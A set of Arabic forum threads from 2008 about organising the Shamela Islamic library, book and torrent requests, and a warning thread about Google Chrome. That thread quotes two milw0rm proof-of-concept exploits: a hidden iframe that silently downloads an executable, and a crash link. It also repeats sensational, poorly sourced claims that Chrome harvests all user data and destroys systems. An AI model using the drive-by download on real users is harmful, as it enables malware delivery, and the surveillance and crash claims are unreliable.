ـ[أبو عبد الله الغيني]ــــــــ[20 - 09 - 08, 03:11 م]ـ
بسم الله الرحمن الرحيم
الحمد لله وكفى، وسلامٌ على عباده الذين اصطفى
أساتذتي الفضلاء وإخواني الأعزاء–حفظكم الله تعالى-
السلام عليكم ورحمة الله وبركاته
أما بعد:
فجزاكم الله خيراً على جهودكم المباركة في خدمة العلم وأهله؛ أسأل الله أن يؤمّنكم في الدنيا والآخرة، ويرفع درجاتكم، ولكل من ساهم في هذا المشروع العظيم، ويلحقنا بكم بفضله؛ إنه على كل شيء قدير.
عندي اقتراحات:
أ- بخصوص جمع كتب الشاملة:
أقترح أن تُفتحَ مشاركةٌ جديدةٌ بعنوان -مثلاً- "الكتب الزائدة على نسخة 6688"، كما فعله الأستاذ أبو يوسف في نسخة 6250؛ ويُطلَب فيها من الإخوة وضع جميع الملاحظات والاقتراحات على هذه النسخة، مع إضافة الكتب الزائدة، عليها، لاستدراكها في النسخ القادمة، فتكون الجهود موحَّدةً، ويعيَّن من ينسّق بين الجهود، وأقترح أن يكون هو أبا يوسف، لطول خبرته، وكثرة نشاطه في هذا الباب، ولا أزكّيه على الله.
ولذلك فوائد عظيمة، منها:
(يُتْبَع .. اقلب الصفحة)
(61/299)
1 - عدم تكرار تحميل النسخ، من عدة أشخاص، وكان يمكن الجمع بين النسخ وإخراجها في ثوب واحد ممتاز، كما فعله الأخ الأستاذ أبو يوسف –جزاه الله خيراً- بهذه النسخة 6688.
2 - ومنها توفير الجهد والوقت والمال للإخوة؛ لأن كثيراً منهم قد يصعب عليه تحميل النسخ الجديدة في كل فترة. ولكن إذا كان المصدر موحَّداً، فتكون الكتب الزائدة على نسخة 6688 - مثلاً- بمثابة تحديثات، يمكن تحميلها على حدة، لمن أراد، وإضافتها إلى النسخة، دون الحاجة إلى تحميل نسخة جديدة كاملة، مما يوفر الوقت والجهد والمال ...
وأما من لا يستطيع الفهرسة وإدخال الكتب في الأرشيف، ونحوها، فيجعل لهم النسخة الجديدة الكاملة.
3 - ومنها إبراز الشاملة في أحسن حُلّة؛ لأن عمل الجماعة المخلصة مقدَّم –في الغالب-على العمل الفردي مهما كانت جودته؛ فيد الله مع الجماعة ...
ويمكن تفادي الفوضى بأساليب كثيرة، منها جمع الآراء، وأخذ رأي الأكثرية، أو عرضها على الأستاذ نافع ليقول بالقول الفيصل في القضية المختلف فيها اختلافا شديداً.
وبهذا يسير العمل إن شاء الله بلا فوضى.
لنؤمنْ تماماً أن الأمة لا تتقدم بالجهود الفردية مثل تقدمها بالجهود الجماعية؛ وهذه الشاملة 3.11 خير دليل على ذلك؛ ولولا الله، ثم إخلاص الأستاذ نافع –ولا أزكّيه على الله- بقبول الاقتراحات مهما كانت، والعمل على تفادي المشاكل، لما خرجت لنا هذه النسخة التي لا أعلم لها منافساً ...
بالجهود الجماعية ترتقي الأمم بإذن الله. بالجهود الجماعية ترتقي الأمم بإذن الله بإذن الله. بالجهود الجماعية ترتقي الأمم بإذن الله.
ب- بخصوص أقسام الشاملة:
وأقترح أن تكون أقسام الشاملة على المجموعات، كما يلي:
1 - القرآن الكريم، والتفسير، وعلوم القرآن (كل ما يتعلق بالقرآن الكريم)
2 - العقيدة ... (تحته كل ما يدخل في التوحيد والعقيدة، مع تصنيف كل نوع ... )
3 - الحديث، وعلومه (تحته المتون، والشروح، والتخريج، والعلل، والمصطلح، والتراجم، وكتب غريب الحديث ... كل ما يخصّ الحديث وعلومه)
4 - الفقه، وأصوله (تحته كل ما يخص الفقه وأصوله، وقواعده، مع التصنيف على المذاهب: الفقه الحنفي، فالمالكي، فالشافعي، ثم الحنبلي، ثم العام ... وكذلك تصنيف الأصول والقواعد على المذاهب ... )
5 - اللغة، والمعاجم (تحته كل ما يخصّ اللغة، مع تصنيف كل نوع: النحو والصرف، الأدب والبلاغة، المعاجم والقواميس ... )
4 - السيرة والتاريخ ... إلى آخر التصانيف ...
الترتيب المذكور هنا من باب التقريب، إلا أنه يستحسن تقديم أصول الدين التي هي الكتاب والسنة ومشتقاتهما على غيرهما.
بعد ذلك يرتَّب تحت كل صنف فروعه، مثلاً:
الحديث: يرتب هكذا: المتون (كل ما فيه المتن ... الصحاح، والسنن، والمسانيد ... )، ثم الشروح، ثم التخريج، ثم كتب الألباني، ثم علوم الحديث (وتحته: المصطلح، والعلل، والرجال، وكتب الموضوعات، وكتب غريب الحديث ... (كل ما فيه خدمة الحديث الشريف). وقس على ذلك باقي الأقسام.
والله أسأل لنا ولكم خيري الدنيا والآخرة، وأن يجعل عملنا خالصا لوجهه.
وصلّى الله على رسوله محمد وعلى آله وصحبه وسلّم
وآخر دعوانا أن الحمد لله ربّ العالمين.
طالبكم وأخوكم في الله.
ـ[أبو عبد الرحمن الطاهر]ــــــــ[20 - 09 - 08, 06:58 م]ـ
ما شاء الله تعالى اقتراح جيد
بارك الله فيك
ـ[أبو عبد الله بن سعيد]ــــــــ[20 - 09 - 08, 07:27 م]ـ
الافضل ان تضغط كل قسم و تفهرسه و تضع على المنتدى حتى يتمكن من يريد قسم بعينه ان يحمله و لا يحمل المكتبه كلها و هو يريد قسم واحد و اعانك الله على هذا العمل و الافضل ان تضع القسم الموافق للمطبوع الاول ثم القسم الغير موافق للمطبوع
هذا اقتراح جيد إن شاء الله
يوفر علينا الكثير
ـ[ majed75] ــــــــ[20 - 09 - 08, 08:21 م]ـ
تقبل الله منا ومنكم الصيام والقيام
ونتمنى أن نرى هذه الموسوعة قبل عيد الفطر بأمر الله
والمؤمل أن تكون غالب الكتب موافقه للمطبوع
لأننا كطلبة علم تلزمنا مثل هذه الموسوعات الموافة للمطبوع
ونشكر الأخ الذي سرفعها لنا وعسى أن يكون قريبا
والسلام عليكم
-----------------------------
أخوكم
د. ماجد عبده
ـ[الطيماوي]ــــــــ[01 - 10 - 08, 05:51 م]ـ
2 - ومنها توفير الجهد والوقت والمال للإخوة؛ لأن كثيراً منهم قد يصعب عليه تحميل النسخ الجديدة في كل فترة. ولكن إذا كان المصدر موحَّداً، فتكون الكتب الزائدة على نسخة 6688 - مثلاً- بمثابة تحديثات، يمكن تحميلها على حدة، لمن أراد، وإضافتها إلى النسخة، دون الحاجة إلى تحميل نسخة جديدة كاملة، مما يوفر الوقت والجهد والمال ...
الرجاء الرجاء ذكر الكتب الزائدة على الشامة 6250
ففي ذلك توفير كبير علينا في الوقت والجهد وبارك الله فيكم
ـ[أحمد أبو عبدالله]ــــــــ[01 - 10 - 08, 09:19 م]ـ
2 - ومنها توفير الجهد والوقت والمال للإخوة؛ لأن كثيراً منهم قد يصعب عليه تحميل النسخ الجديدة في كل فترة. ولكن إذا كان المصدر موحَّداً، فتكون الكتب الزائدة على نسخة 6688 - مثلاً- بمثابة تحديثات، يمكن تحميلها على حدة، لمن أراد، وإضافتها إلى النسخة، دون الحاجة إلى تحميل نسخة جديدة كاملة، مما يوفر الوقت والجهد والمال ...
الرجاء الرجاء ذكر الكتب الزائدة على الشامة 6250
ففي ذلك توفير كبير علينا في الوقت والجهد وبارك الله فيكم
هذا هو المطلوب ياليت
(يُتْبَع .. اقلب الصفحة)
(61/300)
ـ[محمد الاسلام]ــــــــ[01 - 10 - 08, 10:59 م]ـ
قد سبق وطرحت هذا الاقتراح فاعتذر الاخوة
فعسى ان يغيروا رأيهم مع تزايد الطلبات الان
ـ[محمد سليم]ــــــــ[02 - 10 - 08, 10:54 ص]ـ
وهناك اقتراح أخر وهو
وضع الكتب الزائدة وبيانها كما اقترح الأخوة الأفاضل
وأيضا وضع النسخة الجديدة لمن أراد تحميلها ولن تضر
ولكنها ستنفع من لم يحملها من قبل
وكذلك لمن أراد التصنيف الجديد للشاملة
حيث ستنفع الباحثين والكتاب في التوثيق السهل بدلا من البحث عن الكتب المطبوعة أو غير المطبوعة
وهناك اقتراح بديل
هو رفع جميع الكتب الغير مطبوعة ولها نسخ مطبوعة من المكتبة وبهذا تقل عدد الكتب وكذلك تخف مساحة المكتبة
بارك الله بكم جميعا
ـ[ابو الخير]ــــــــ[02 - 10 - 08, 12:34 م]ـ
انا راي ان ينزل مكتبته كما هى لان ليس كل الناس عندهم المكتبه الشامله التى تحتوى على ست الف كتاب
ـ[مؤيد السعدي]ــــــــ[02 - 10 - 08, 01:24 م]ـ
فضلا لا توقفوا تورنت 6688 فأنا وصلت 90% لكني توقفت حيث لم يعد هناك seeders
ـ[أحمد أبو عبدالله]ــــــــ[02 - 10 - 08, 01:54 م]ـ
فضلا لا توقفوا تورنت 6688 فأنا وصلت 90% لكني توقفت حيث لم يعد هناك seeders
اخي اذا لم تجد احد اعطني الرابط احمل معك
ـ[مؤيد السعدي]ــــــــ[02 - 10 - 08, 06:01 م]ـ
هذا هو الرابط
http://www.mininova.org/get/1768569
ـ[أحمد أبو عبدالله]ــــــــ[02 - 10 - 08, 07:58 م]ـ
هذا هو الرابط
http://www.mininova.org/get/1768569
توكل على الله جاري التحميل
ـ[حازم المصري]ــــــــ[02 - 10 - 08, 11:42 م]ـ
ارفع يا أخي رفعك الله.
اخي لاتشاورنا في الخير الذي لديك ارفع رفع الله قدرك ومنزلتك عنده في عليين واياك والمسلمين
واخي الذي قال رفعك الله لعله اراد ان يدعو لك فدعى عليك (ابتسامه)
حدثنا عبد الله حدثني أبي ثنا يحيى بن آدم ثنا كامل بن العلاء عن حبيب بن أبي ثابت عن بن عباس أو عن سعيد بن جبير عن بن عباس: أن رسول الله صلى الله عليه وسلم قال بين السجدتين في صلاة الليل رب اغفر لي وارحمني وارفعني وارزقني واهدني ثم سجد
رواه أحمد في المسند (2897) حسنه شعيب الأرناؤوط و ابن ماجة (898) صححه الألباني.
ـ[أحمد أبو عبدالله]ــــــــ[03 - 10 - 08, 03:04 م]ـ
حدثنا عبد الله حدثني أبي ثنا يحيى بن آدم ثنا كامل بن العلاء عن حبيب بن أبي ثابت عن بن عباس أو عن سعيد بن جبير عن بن عباس: أن رسول الله صلى الله عليه وسلم قال بين السجدتين في صلاة الليل رب اغفر لي وارحمني وارفعني وارزقني واهدني ثم سجد
رواه أحمد في المسند (2897) حسنه شعيب الأرناؤوط و ابن ماجة (898) صححه الألباني.
قد احسن من انتهاء الى ماسمع بارك الله فيك واعجبني ودعوت لك بسبب توقيعك
ـ[ابو الخير]ــــــــ[30 - 11 - 08, 02:34 م]ـ
اين هذه الموسوعه فانها تتميز عن نسخه 6688 انها فيها تقسيم للكتب فى كل قسم للموافق للمطبوع و غير الموافق له فهل ينزلها لنا الاخ الكريم او يرفعها او يعطى روابطها لمن يريدها
فبيس كل الناس حملوا نسخه 6688 فهل من الممكن اعطانى روابطها لانى احتاجها
ـ[ابو عبد المحسن]ــــــــ[30 - 11 - 08, 03:46 م]ـ
السلام عليكم
مرحباً بأخي أبو الخير
لعلي أرفعها قريباً
ولكن حلمكم علينا فالمرفوعات لدينا كثيرة والإتصال بطيء ...
فدعواتكم أن ييسر الله أمر رفعها ...
ـ[ابو الخير]ــــــــ[30 - 11 - 08, 04:24 م]ـ
الله يوفقك لكن اعطيها الاولويه لانك و عدتنا بها منذ اكثر من شهرين اعانك الله
ـ[عبد الكريم جاموس]ــــــــ[02 - 12 - 08, 07:58 ص]ـ
بوركت الجهود
ـ[المغربي أبو عمر]ــــــــ[02 - 12 - 08, 08:01 ص]ـ
جزاك الله خير ا
ـ[أبو عبد الله فارس الأثري]ــــــــ[02 - 12 - 08, 12:08 م]ـ
جزاك الله خير
ـ[حازم المصري]ــــــــ[03 - 12 - 08, 11:36 م]ـ
حدثنا عبد الله حدثني أبي ثنا يحيى بن آدم ثنا كامل بن العلاء عن حبيب بن أبي ثابت عن بن عباس أو عن سعيد بن جبير عن بن عباس: أن رسول الله صلى الله عليه وسلم قال بين السجدتين في صلاة الليل رب اغفر لي وارحمني وارفعني وارزقني واهدني ثم سجد
رواه أحمد في المسند (2897) حسنه شعيب الأرناؤوط و ابن ماجة (898) صححه الألباني.
المعذرة:
رواية ابن ماجة من طريق أبو كريب محمد بن العلاء حدثنا إسمعيل بن صبيح عن كامل أبي العلاء قال سمعت حبيب بن أبي ثابت يحدث عن سعيد بن جبير عن ابن عباس وفيه:رب اغفر لي وارحمني واجبرني وارزقني وارفعني.
وكذا أخرجه الحاكم في مستدركه من طريق عبيد الله بن محمد بن موسى ثنا محمد بن أيوب أنبأ عبد السلام بن عاصم ثنا زيد بن الحباب ثنا كامل أبو العلاء عن حبيب بن أبي ثابت عن سعيد بن جبير عن ابن عباس به
ـ[يا باغي الخير أقبل]ــــــــ[04 - 12 - 08, 12:27 ص]ـ
الأخ الحبيب أبو عبد المحسن
جزاكم الله خيرا على مجهودكم ونفع بكم
ولكن هل لك أن تكمل معروفك وتعطينا قائمة بزيادات هذه النسخة على نسخة (6688) ليستفيد منها من اعتمد نسخة (6688) وتعسر عليه تحميل نسختكم
أدري أنه طلب ثقيل لكن إن استطعت أن تفعل ذلك فقد قدمت لكثير من إخوانك خدمة جليلة
وتفضل بزيارة موضوع
هنا تجمع الكتب الإضافية على الشامة 6688 ( http://www.ahlalhdeeth.com/vb/showthread.php?p=933853#post933853)
(يُتْبَع .. اقلب الصفحة)
(61/301)
ـ[عزمي أبو عبد الظاهر]ــــــــ[05 - 12 - 08, 02:55 م]ـ
جزاكم الله خيرا(61/302)
حملوا كتابي الجديد ((مَوسوعةُ المفاهيمِ الإسْلاميَّةِ)) للشاملة 3+ و مفهرسا
ـ[علي 56]ــــــــ[19 - 09 - 08, 04:18 م]ـ
بسم الله الرحمن الرحيم
الحمد لله رب العالمين، والصلاة والسلام على سيد الأنبياء والمرسلين، وعلى آله وصحبه أجمعين، ومن تبعهم بإحسان إلى يوم الدين.
أما بعد:
فهذه موسوعة للمفاهيم الإسلامية، قد جمعتها من موقع شبكة نور الإسلام، ومن موقع الأزهر حيث يوجد فيه برنامج المفاهيم الإسلامية، وهي مرتبة على حروف المعجم، ففيها تعريف لكثير من المصطلحات الإسلامية، وقد عقبت على بعضها، إما بزيادة بعض المعلومات، أو رد على خطأ.
وقد قمت بفهرستها على الورد، ووضعتها في الشاملة 3 ليعمَّ النفع بها
وقد بلغت مفرداتها حوالي أربعمائة وستين، وكل واحدة مشفوعة بمصدرها في الغالب بنهايتها.
نسال الله تعالى أن ينفع بها جامعها، وقارئها وناشرها والدال عليها.
قال تعالى: {أَنزَلَ مِنَ السَّمَاء مَاء فَسَالَتْ أَوْدِيَةٌ بِقَدَرِهَا فَاحْتَمَلَ السَّيْلُ زَبَدًا رَّابِيًا وَمِمَّا يُوقِدُونَ عَلَيْهِ فِي النَّارِ ابْتِغَاء حِلْيَةٍ أَوْ مَتَاعٍ زَبَدٌ مِّثْلُهُ كَذَلِكَ يَضْرِبُ اللّهُ الْحَقَّ وَالْبَاطِلَ فَأَمَّا الزَّبَدُ فَيَذْهَبُ جُفَاء وَأَمَّا مَا يَنفَعُ النَّاسَ فَيَمْكُثُ فِي الأَرْضِ كَذَلِكَ يَضْرِبُ اللّهُ الأَمْثَالَ} (17) سورة الرعد
جمع وإعداد
الباحث في القرآن والسنة
علي بن نايف الشحود
في 19 رمضان 1429 هـ الموافق ل 19/ 9/2008 م
??????????????????
ـ[أبو عبد الله السني]ــــــــ[19 - 09 - 08, 11:33 م]ـ
اللهم اغفر لشيخنا وارحمه
وعافه واعف عنه
وأعتقه من النار يارب العالمين
ـ[علي 56]ــــــــ[20 - 09 - 08, 01:11 ص]ـ
ولك مثل دعوتك أخي الحبيب
ـ[ابوخالد الحنبلى]ــــــــ[19 - 08 - 10, 01:23 م]ـ
اريده بى دى اف
ـ[محمد أمنزوي]ــــــــ[20 - 08 - 10, 02:53 ص]ـ
جزاك الله خيرا(61/303)
حمل؛ هذا المتصفح العربي - الرهيب فعلا - google chrome
ـ[يونس1]ــــــــ[19 - 09 - 08, 04:35 م]ـ
من هذا الرابط؛ وهو رهيب فعلا. وجربه.
http://www.moon15.com/index.php?action=file&id=2532
ـ[إبراهيم حسين]ــــــــ[19 - 09 - 08, 05:33 م]ـ
بارك الله فيك
ـ[أبو عمران]ــــــــ[19 - 09 - 08, 10:19 م]ـ
تحذير شديد جداً .. لاتستخدم المتصفح الجديد من جوجل المسمى جوجل كروم
غير ناضج, فضولي وجوعه عتيق في إلتهام معلوماتك الشخصيّة
: ألمانيا تحذّر من استخدام غوغل كروم وتدعو المستخدمين الى اليقظة الشديدة
نقلت اليوم (در شبيغل أون لاين) تقريرا مرعبا لكل مستخدمي تطبيقات غوغل. فقد حذّر المكتب الإتحادي الألماني لأمن المعلومات التقنية المواطنين من خطر تركيب واستخدام النسخة الكرومية من غوغل بروزرز. وكان مسؤول أمن حماية المعلومات ماتياس غيرتنر قد أبلغ صحيفة (برلينر تسايتونغ):
غوغل كروم لا ينبغي لعوام الناس ان يستخدموها. أمّا الأسباب فكثيرة, أوّلها, أن هذا البروزر ما زال في طور المراقبة فنسخته تحمل الر قم (0.2) أي أنه أنزل الى الأسواق على عجل بسبب المزاحمة بين غوغل ومنافسيها. ثانيا, يعمل هذا البروزر بأسلوب (بيتا) وهو اسلوب سهل ولكنّه مفتوح ويمكن الولوج إليه من مهاجم يقوم بتسيير جهازك عن بعد والعبث بمحتوياته.
أضاف غيرتنر, لقد قام مصمموا برنامج غوغل كروم بإدخال برتوكول يقوم بنقل كل التفاصيل الكبيرة منها والصغيرة لحركة المستخدم بحجة ان ذلك هو (كراش بروتوكول) وتزعم غوغل انها بذلك تريد إحصاء تلك الأخطاء المحتملة ليتم تلافيها في النسخة المستقبلية. غيرتنر الذي شعر بطعم مرير مريب جراء ذلك الزعم حسب تعبيره, مضى يقول: لقد اتفقنا كخبراء أمن حماية إتحاديين أن غوغل كروم سهل الإستخدام ولكن ماذا عن جمع المعلومات التي يتم تصديرها فورا الى (السيرفر) الحاسوب الأم في كاليفورنيا؟؟
الشيء المخيف أيضا ان غوغل كروم لا يتوقف عن التواصل مع السيرفر ولا يغطي معلوماتك وهويّتك الإلكترونية فحسب, وإنما يقوم بنسخ ونقل وحفظ كل المصطلحات التي كتبتها أو لقّمتها لآلة البحث حتى قبل ان تضغط على كلمة (إبحث). وبالتالي كل ما فكّرت فيه وبحثت عنه وكتبت حوله بل أن كلّ ما كنت تفكر بالبحث عنه صار معلوما ومخزّنا في كليفورنيا.
يقول ماتياس غيرتنر مسؤول أمن حماية المعلومات بالمكتب
الإتحادي الألماني لأمن المعلومات التقنية:
بعد أن زادت شكوكي قمت بتقييد حركة مكوّنات وتطبيقات غوغل في جهازي. ثم دخلت الى صفحة (بي سي إي) وهو ملخص عبارة (المكتب الإتحادي لأمن المعلومات الإلكترونية) وهناك قرأت تقريرا مخيفا عن تجاوزات غوغل عبر برنامجها ذاك حيث يقوم بنسخ كامل البيانات الشخصية دون شور ولا دستور ثم نقلها الى الأرشيف في الولايات المتحدة الأمريكية.
(انتهى الخبر)
هنا تجدر الإشارة الى ان غوغل يحاول منذ مدّة عبر استخداماته ومنه (غوغل باكت) التي تشتمل على كل شيء تقريبا من بروزر الى نظام حماية ومقاومة للفيروسات الى برنامج تطبيقات للصور وغيره الدخول الى الأجهزة الشخصية والتحكم فيها. وقد لاحظت سابقا أن تطبيقات غوغل تصول وتجول عبر جهازي الشخصي دون طلب الإذن كما هو مفترض. فالمفروض عادة أن يفتح شباك نظام الحماية على الشاشة لديّ ويسألني: هل تريد تمرير هذا التطبيق؟؟ و يبقى لي القرار كمستخدم أن أضغط على (نعم) أو (لا).
هذه بعض الردود التى تؤكد الخبر
اقتباس:
المشاركة الأصلية كتبت بواسطة Special Member مشاهدة المشاركة
يبقى الموضوع هنا للافادة
اتمنى ان لا يقع في شراك البرنامج كثيرين كما وقعت انا .. نعم فبمجرد تنصيبي واستخدامي للبرنامج انهار النظام باكلمه فلم يعد قادراً على الاقلاع فملفات البوت قد حذفت نهائياً .. ياترى هل فعلاً العيب من البرنامج ام انها مصادفة!!!!
العلم عند الله
اقتباس:
المشاركة الأصلية كتبت بواسطة great-arab-lion مشاهدة المشاركة
فعلا كلام صحيح 100% ...
عندما قمت بتحميل متصفح الغوغل على جهازي قام برنامج الـ Avira لدي بحذف ملف الـ Setup لأنه كان يحمل فيروسا و لكن عند إيقاف الأفيرا و إعادة التنزيل و التنصيب لاحظت أن كلامك صحيح ..
أشكرك جزيل الشكر .. مع تحيتي لك ..
اقتباس:
(يُتْبَع .. اقلب الصفحة)
(61/304)
المشاركة الأصلية كتبت بواسطة great-arab-lion مشاهدة المشاركة
احتمال كبير ..
و أنا أيضا مركب على جهازي 2 ويندوز فيستا ..
فأحدهما توقف عن العمل نهائيا فبمجرد دخول مرحلة تحميل الويندوز يتوقف جهازي و يعطي شاشة زرقاء و الويندوز الآخر أصبح بطيئا جدا عند بدء التشغيل ... !
اقتباس:
المشاركة الأصلية كتبت بواسطة voleur_07 مشاهدة المشاركة
انها شركة تجسسية تتجسس على خصوصيات الانسان وانا من الاول لم اطمئن لهدا المتصفح حتى شريط المهام اللمتصفح شريط تجسسي شكرا على التنبيه
اقتباس:
المشاركة الأصلية كتبت بواسطة mu4me مشاهدة المشاركة
حتى أنا إستخدمته فتره دقائق و حذفته
ولما سويت ريستارت بعد مده أنهار النظام عندي بـ الكامل
و أنا أستخدم و يندوز فيستا تبع أخونا انصار السنه العربي
الله المستعان
اقتباس:
المشاركة الأصلية كتبت بواسطة mada96 مشاهدة المشاركة
بعد تحميله حصلت مشكله فى السيتم 32 فى فيستا هوم بريميوم و إضطريت أعمل باك أب للجهاز من جديد و يا دوختى على ما أحمل كل برامجى من جديد حتى الريستور سيستم و الإكسبلورر و كل المتصفحات رفضت العمل على النت
اقتباس:
المشاركة الأصلية كتبت بواسطة rabeeagwad مشاهدة المشاركة
متصفح ذو طابع غريب جدا
وعندما عملت اسكان بالكاسبر اسكي حذف بالكامل
اقتباس:
المشاركة الأصلية كتبت بواسطة KHALED20062007 مشاهدة المشاركة
فعلا اخى الكريم منذ ان حملته على الجهاز حتى وجدت الجهاز ثقيل ويفتح بالعافيه وما ان قمت بالغائه تدهور النظام مما اضطرنى الى الفورمات وتنزيل سيستم مرة اخرى كل الشكر والتقدير على التبصير لباقى الاعضاء
اقتباس:
المشاركة الأصلية كتبت بواسطة princek77 مشاهدة المشاركة
ومازالت العديد من المصادر تؤكد الخبر
حتي لو الاصدار ما زال بيتا حتي لو ما زال تجريبي
فلم نسمع عن اي برنامج ما زال في مرحلة التجربة ووجه بمثل هذه الانتقادات
لذلك فعلينا الانتظار حتي صدور النسخة النهائية من المتصفح فهذا افضل واسلم الي حد ما
والله اعلم
انا لا مؤيد ولا معارض انا استخدم الفايرفوكس ومن بعده الاوبرا
ولكن وجدت الصور فقمت بوضعها لعل يكون بها اي افادة في الموضوع
جزاكم الله خيرا .. وكل عام وانت بخير جميعا
اقتباس:
المشاركة الأصلية كتبت بواسطة ammar_dvb مشاهدة المشاركة
السلام عليكم و رحمة الله و بركاته
ثعرتين بمتصفح قوقل الجديد Google Chrome
بتاريخ7 - 9 - 2008
كود:
Author: nerex
E-mail: nerex[at]live[dot]com
Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
downloaded to the user's computer without any user prompt.
This proof-of-concept was created for educational purposes only.
Use the code it at your own risk.
The author will not be responsible for any damages.
Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)
************************************************** ************************
<******>
********.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</******>
# milw0rm.com [2008-09-03]
http://www.milw0rm.com/exploits/6355
الثغرة الثانية
كود:
Tested:
Windows XP Professional SP3
Result:
Google Chrome Crashes with All Tabs
Problem:
An issue exists in how chrome behaves with undefined-handlers in chrome.dll version
0.2.149.27. A crash can result without user interaction. When a user is made to visit
a malicious link, which has an undefined handler followed by a 'special' character,
the chrome crashes with a Google Chrome message window "Whoa! Google Chrome has crashed.
Restart now?". It lies in dealing with the POP EBP instruction when pointed out by the
EIP register at 0x01002FF4.
Proof of Concept:
http://evilfingers.com/advisory/google_chrome_poc.php
Credit:
Rishi Narang (psy.echo)
www.greyhat.in
www.evilfingers.com
---------------------------------------------------
PoC Working/Exploit:
Click for a demo <a href="EVIL:%">HERE</a>
(يُتْبَع .. اقلب الصفحة)
(61/305)
# milw0rm.com [2008-09-03]
http://www.milw0rm.com/exploits/6353
وهناك من يعارض هذا التحذير واتى بنسخة ليس فيها مشاكل
كما يقول وسوف اضع مشاركته بالكامل حتى يعلم الجميع انى
فقط ابغى الخير وفقط اينما كان والحمد لله اولا واخرا
اقتباس:
المشاركة الأصلية كتبت بواسطة mdhawek مشاهدة المشاركة
السلام عليكم و رحمه الله و بركاته
جزاكم الله كل خير على التفاعل جميل بين مؤيد و معارض
بالتاكيد من مشاركتى السابقه فى الموضوع ان معارض فكره الموضوع بالمره
فأغلب المشاركين يشكورن و يجزون فقط لا غير
و بعض المشاركين سينقلوه للافاده
فما هى العواقب حاجه بسيطه جدااا
اولا هيبان عندهم بكل تاكيد ان العرب اقل ناس حملوا البرنامج و ايه الى هيحصل هنبقى معدومين فى نظرهم
مفيش اى خدمات هتبقى متوفره لينا مش هتلاقى اسم دولتك بعد كده
انت فى نظهم مش موجود من اساسه و هو اصلا مش حتاج الكام معلومه عنك الا اذا كنت تفعل شئ خطأ منه
شركه جوجل من اول اطلاقها تكسب بالماليرات كل عام لا تحتاج كام مليون من معلومات لك او لغيرك
لذلك اتحدى الخبير الالمانى و نحاول نثبت الصح
فقد قمت بعمل موضوع عن جول كروم و نسخه ظريفه و قويه جداا لا تحتاج لاى تسطيب على الجهاز لان معظم الساده الاعضاء مشكلتهم عند التسطيب
و ها هو عنوان الموضوع
http://www.bramjnet.com/vb3/showthre...39#post7357239
فأرجو منك فقط ان تقوم بوضع مشاركتى و عنوان الموضوع فى المشاركه الاولى لك لكى نحاول ان نبرهن اذا كان البرانمج فاشل و جشع معلومات ام لا
و كل عام و انت بخير
اقتباس:
المشاركة الأصلية كتبت بواسطة remo20002001 مشاهدة المشاركة
عفواً يا اخوانى ولكننى قمت بإستخدام هذا البرنامج على 4 اجهزة بأربع نسخ ويندوز مختلفة ولم يحدث شىء بل إننى فضلتة على الفاير فوكس وقمت بتسطيب
3.0.672 eset smar security ver ولم يكتشف اى شىء لذا ارجو منكم التأكد قبل الحكم وقوموا بالتحميل من موقع جوجل ولاتحكموا علية الان انتظروا النسخة النهائية.(61/306)
برنامج يعمل على التقاط الصور من جهازك؛ FastStone Soft
ـ[يونس1]ــــــــ[19 - 09 - 08, 04:42 م]ـ
برنامج يعمل على التقاط الصور من جهازك، تستفيد من البرنامج في شرح البرامج أو استخراج صورة من الجهاز .. برنامج اخذ تقييم عالي ..
رابط البرنامج: http://www.moon15.com/index.php?action=file&id=2393
ولكن الرابط - لا يعمل -!!! فقم أخي الكريم بتنزيله من الشركة الرئيسية وهذا رابط البرنامج لديهم:
http://www.faststone.org/FSViewerDownload.htm
وتمهل في معرفة خصائص البرنامج.
ـ[يحيى صالح]ــــــــ[19 - 09 - 08, 10:33 م]ـ
جزاك الله خيرًا(61/307)
اعادة رفع كتاب: البيان والتبيين للجاحظ
ـ[الطيماوي]ــــــــ[19 - 09 - 08, 05:24 م]ـ
هذا الكتاب كان على المكتبة الوقفية سابقا قبل تعطلها فالرجاء ممن لديه الكتاب اعادة رفعه
أحسبه بتحقيق عبد السلام هارون
ـ[الأغلبي]ــــــــ[19 - 09 - 08, 06:17 م]ـ
جاري رفعه على موقع أرشيف
ـ[الأغلبي]ــــــــ[19 - 09 - 08, 06:38 م]ـ
بتحقيق عبد السلام هارون، مكتبة الخانجي، القاهرة
صفحة الغلاف ( http://ia311241.us.archive.org/0/items/bntbn/baita0.pdf)
الجزء الأول ( http://ia311241.us.archive.org/0/items/bntbn/baita1.pdf)
الجزء الثاني ( http://ia311241.us.archive.org/0/items/bntbn/baita2.pdf)
الجزء الثالث ( http://ia311241.us.archive.org/0/items/bntbn/baita3.pdf)
الجزء الرابع ( http://ia311241.us.archive.org/0/items/bntbn/baita4.pdf)
ـ[عبد الرحمن أبو عبد الله]ــــــــ[20 - 09 - 08, 05:24 ص]ـ
جزاك الله خيرا
ـ[الطيماوي]ــــــــ[20 - 09 - 08, 01:22 م]ـ
الله يجزيك عني خير الجزاء
ـ[احمدعاطف]ــــــــ[20 - 09 - 08, 04:13 م]ـ
بارك الله فيك ونفع بك وأسكنك الفردوس الأعلى
ـ[محمد علي ابراهيم]ــــــــ[19 - 07 - 10, 03:56 ص]ـ
بسم الله الرحمن الرحيم السلام عليكم ورحمة الله وبركاته جزاكم الله كل الخير وادام عليكم الصحة والعافية والتقدم لمنتدنا الرلئع التقدم والازدهار باذن الله مع اطيب تحياتي والسلام عليكم ورحمة الله وبركاته(61/308)
أحتاج إلى قصيدة ابن الأشعث
ـ[أبو عبد الرحمن السبيلي]ــــــــ[20 - 09 - 08, 05:25 ص]ـ
السلام عليكم ورحمة الله وبركاته
أحتاج إلى قصيدة ابن الأشعث
وبارك الله فيكم(61/309)
أريد تفسير المنار
ـ[خالد المرسى]ــــــــ[20 - 09 - 08, 10:09 ص]ـ
أين ذلك التفسير على الشبكة
ـ[ saead] ــــــــ[20 - 09 - 08, 10:59 ص]ـ
http://www.archive.org/details/tfseer_manar
ـ[خالد المرسى]ــــــــ[20 - 09 - 08, 03:07 م]ـ
جزاك الله خيرا
لكن عندى مشكلة
ان ملفات البى دى اف ما بتفتح الا الصفحة الاولى وفرمت الجهاز وما فى فائدة
ـ[خالد المرسى]ــــــــ[01 - 10 - 08, 05:14 م]ـ
من أول المجلد الثال عداد التحميل يعمل ظاهرا ولا يتقد العداد الرقمى أو خط التحميل؟
أرجو المساعدة(61/310)
